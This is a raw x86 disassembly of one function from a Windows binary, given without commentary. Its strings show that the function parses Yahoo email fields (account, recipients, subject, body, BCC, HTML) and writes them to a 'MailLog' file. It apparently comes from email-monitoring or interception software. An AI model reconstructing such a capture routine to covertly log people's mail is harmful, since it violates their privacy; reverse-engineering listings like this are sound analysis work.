lea eax, [esp + 0x1c]
mov byte [esp + 0xbc], bl
push eax
call fcn.133dad00
add esp, 8
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0xbc], 0x4b
call fcn.13444620
lea ecx, [esp + 0x18]
mov byte [esp + 0xb8], bl
call fcn.13444490
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x18]
push ecx
push edx
call fcn.133ba900
add esp, 8
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0xbc], 0x4c
call fcn.13444620
lea ecx, [esp + 0x18]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea ecx, [esp + 0x10]
mov byte [esp + 0xb8], 0x12
call fcn.1343f110
mov eax, dword [0x13511b00]
test eax, eax
je 0x133f7144
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x3c]
push edx
mov edx, dword [esp + 0x48]
push eax
mov eax, dword [esp + 0x48]
push ecx
push edx
push eax
push str.AnalyseYahooEMailXml__wstrAccount_:__s___wstrTo_:__s____wstrCC_:__s___wstrSubject_:__s___wstrText_:__s___wstrBCC_:__s___wstrHtml_:__s_
push str.MailLog
push 0xffffffffffffffff
push 0x13511a94
call fcn.13426d30
add esp, 0x2c
mov ecx, dword [esp + 0x38]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x133f71a2
mov edx, dword [esp + 0x3c]
mov eax, dword [edx - 8]
test eax, eax
jne 0x133f71a2
mov eax, dword [esp + 0x34]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x133f71a2
mov ecx, dword [esp + 0x28]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x133f71a2
mov edx, dword [esp + 0x20]
mov eax, dword [edx - 8]
test eax, eax
jne 0x133f71a2
mov eax, dword [esp + 0x30]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x133f71a2
mov ecx, dword [esp + 0x2c]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x133f71a2
mov byte [esp + 0xb8], 6
lea ecx, [esp + 0x1c]
jmp 0x133f7646
lea ecx, [esp + 0x1c]
mov byte [esp + 0xb8], 6
call fcn.1343f110
mov eax, dword [esp + 0xd0]
test eax, eax
je 0x133f71c9
mov dword [eax], 1
jmp 0x133f764b
mov eax, dword [0x134d0d90]
mov dword [esp + 0x14], eax
mov esi, dword [esp + 0xcc]
mov byte [esp + 0xb8], 0x4f
test esi, esi
je 0x133f757d
mov dword [esp + 0x68], eax
mov byte [esp + 0xb8], 0x50
mov dword [esp + 0x6c], eax
mov byte [esp + 0xb8], 0x51
mov dword [esp + 0x70], eax
mov byte [esp + 0xb8], 0x52
mov dword [esp + 0x74], eax
mov byte [esp + 0xb8], 0x53
mov dword [esp + 0x78], eax
mov byte [esp + 0xb8], 0x54
mov dword [esp + 0x7c], eax
mov byte [esp + 0xb8], 0x55
mov dword [esp + 0x80], eax
mov byte [esp + 0xb8], 0x56
mov dword [esp + 0x84], eax
mov edx, dword [0x134d0d8c]
mov byte [esp + 0xb8], 0x57
mov dword [esp + 0x88], edx
mov ecx, dword [esi + 4]
mov eax, dword [esi]
mov edx, dword [esi + 8]
mov bl, 0x59
mov byte [esp + 0xb8], bl
mov dword [esp + 0x54], ecx
mov dword [esp + 0x50], eax
mov eax, dword [esi + 0xc]
lea ecx, [esp + 0x60]
mov dword [esp + 0x58], edx
push ecx
mov dword [esp + 0x60], eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [esp + 0xc8]
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x70]
mov dword [esp + 0x50], edx
call fcn.13444620
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x78]
call fcn.13444620
lea edx, [esp + 0x34]
lea ecx, [esp + 0x78]
push edx
call fcn.13444620
lea eax, [esp + 0x30]
lea ecx, [esp + 0x7c]
push eax
call fcn.13444620
lea ecx, [esp + 0x28]
push ecx
lea ecx, [esp + 0x74]
call fcn.13444620
lea edx, [esp + 0x20]
lea ecx, [esp + 0x80]
push edx
call fcn.13444620
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x84]
push eax
call fcn.13444620
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x6c]
call fcn.13444620
lea edx, [esp + 0x18]
push 0x134f0b0c
push edx
call fcn.134035e0
add esp, 8
push eax
lea ecx, [esp + 0x8c]
mov byte [esp + 0xbc], 0x5a
call fcn.1343f290
lea ecx, [esp + 0x18]
mov byte [esp + 0xb8], bl
call fcn.1343f110
mov eax, dword [esp + 0x88]
push 0x180
push 0x8101
push eax
call fcn.1342bac5
mov ecx, dword [0x134d0d8c]
add esp, 0xc
mov edi, eax
mov dword [esp + 0x10], ecx
cmp edi, 0xffffffff
mov byte [esp + 0xb8], 0x5b
je 0x133f73da
mov edx, dword [esp + 0x48]
mov eax, dword [esp + 0x90]
push edx
push eax
push edi
call fcn.1342b8d5
mov ecx, dword [esp + 0x70]
mov edx, dword [esp + 0x6c]
mov eax, dword [esi + 0xc]
add esp, 0xc
push ecx
mov ecx, dword [esi + 8]
push edx
mov edx, dword [esi + 4]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
lea ecx, [esp + 0x28]
push str._r_n_r_nliTickBegin:_I64u__liTickEnd:_I64u__liTickRecord:_I64u
push ecx
call fcn.13441f70
mov edx, dword [esp + 0x30]
add esp, 0x20
lea ecx, [esp + 0x10]
mov eax, dword [edx - 8]
push eax
push 0
call fcn.1343fda0
push eax
push edi
call fcn.1342b8d5
push edi
call fcn.1342b7f5
add esp, 0x10
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x48]
mov esi, dword [0x1351296c]
mov eax, dword [eax - 8]
add eax, ecx
cmp esi, esi
mov dword [esp + 0x8c], eax
jl 0x133f7408
lea edx, [esi + 1]
push 0xffffffffffffffff
push edx
mov ecx, 0x13512968
call fcn.1340a090
mov ecx, dword [0x13512968]
mov eax, esi
mov edx, dword [esp + 0x4c]
shl eax, 4
add eax, esi
lea esi, [esp + 0x50]
lea ebp, [ecx + eax*4]
mov ecx, 6
lea eax, [esp + 0x68]
lea edi, [ebp + 4]
mov dword [ebp], edx
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp + 0x1c]
call fcn.13444620
lea ecx, [esp + 0x6c]
push ecx
lea ecx, [ebp + 0x20]
call fcn.13444620
lea edx, [esp + 0x70]
lea ecx, [ebp + 0x24]
push edx
call fcn.13444620
lea eax, [esp + 0x74]
lea ecx, [ebp + 0x28]
push eax
call fcn.13444620
lea ecx, [esp + 0x78]
push ecx
lea ecx, [ebp + 0x2c]
call fcn.13444620
lea edx, [esp + 0x7c]
lea ecx, [ebp + 0x30]
push edx
call fcn.13444620
lea eax, [esp + 0x80]
lea ecx, [ebp + 0x34]
push eax
call fcn.13444620
lea ecx, [esp + 0x84]
push ecx
lea ecx, [ebp + 0x38]
call fcn.13444620
lea edx, [esp + 0x88]
lea ecx, [ebp + 0x3c]
push edx
call fcn.1343f290
mov eax, dword [esp + 0x8c]
lea ecx, [esp + 0x10]
mov dword [ebp + 0x40], eax
mov byte [esp + 0xb8], bl
call fcn.1343f110
lea ecx, [esp + 0x88]
mov byte [esp + 0xb8], 0x63
call fcn.1343f110
lea ecx, [esp + 0x84]
mov byte [esp + 0xb8], 0x62
call fcn.13444490
lea ecx, [esp + 0x80]
mov byte [esp + 0xb8], 0x61
call fcn.13444490
lea ecx, [esp + 0x7c]
mov byte [esp + 0xb8], 0x60
call fcn.13444490
lea ecx, [esp + 0x78]
mov byte [esp + 0xb8], 0x5f
call fcn.13444490
lea ecx, [esp + 0x74]
mov byte [esp + 0xb8], 0x5e
call fcn.13444490
mov byte [esp + 0xb8], 0x5d
lea ecx, [esp + 0x70]
call fcn.13444490
lea ecx, [esp + 0x6c]
mov byte [esp + 0xb8], 0x5c
call fcn.13444490
lea ecx, [esp + 0x68]
mov byte [esp + 0xb8], 0x4f
call fcn.13444490
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], 6
call fcn.13444490
jmp 0x133f764b
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], 6
call fcn.13444490
lea ecx, [esp + 0x44]
push 0
push ecx
call fcn.134034c0
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x30]
push 1
push 0
push 0
push edx
mov edx, dword [esp + 0x48]
push eax
mov eax, dword [esp + 0x50]
push ecx
mov ecx, dword [esp + 0x5c]
push edx
mov edx, dword [esp + 0x5c]
push eax
mov eax, dword [esp + 0x6c]
push ecx
push edx
push eax
mov byte [esp + 0xec], 0x65
call fcn.133bb440
add esp, 0x34
test eax, eax
je 0x133f763a
mov edi, dword [esp + 0x48]
mov esi, dword [esp + 0x90]
mov ecx, dword [esp + 0x44]
push edi
push esi
push ecx
call fcn.133bb230
add esp, 0xc
test eax, eax
je 0x133f763a
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0
push 0
push 0
push edx
mov edx, dword [esp + 0x48]
push eax
mov eax, dword [esp + 0x50]
push ecx
mov ecx, dword [esp + 0x5c]
push edx
mov edx, dword [esp + 0x5c]
push eax
mov eax, dword [esp + 0x6c]
push ecx
push edx
push 2
push 1
push eax
push edi
push esi
call fcn.133bd470
add esp, 0x44
mov byte [esp + 0xb8], 6
lea ecx, [esp + 0x44]
call fcn.1343f110
lea ecx, [esp + 0x28]
mov byte [esp + 0xb8], 5
call fcn.13444490
lea ecx, [esp + 0x30]
mov byte [esp + 0xb8], 4
call fcn.13444490
lea ecx, [esp + 0x34]
mov byte [esp + 0xb8], 3
call fcn.13444490
lea ecx, [esp + 0x3c]
mov byte [esp + 0xb8], 2
call fcn.13444490
lea ecx, [esp + 0x2c]
mov byte [esp + 0xb8], 1
call fcn.13444490
lea ecx, [esp + 0x20]
mov byte [esp + 0xb8], 0
call fcn.13444490
lea ecx, [esp + 0x38]
mov dword [esp + 0xb8], 0xffffffff
call fcn.13444490
mov ecx, dword [esp + 0xb0]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0xac
ret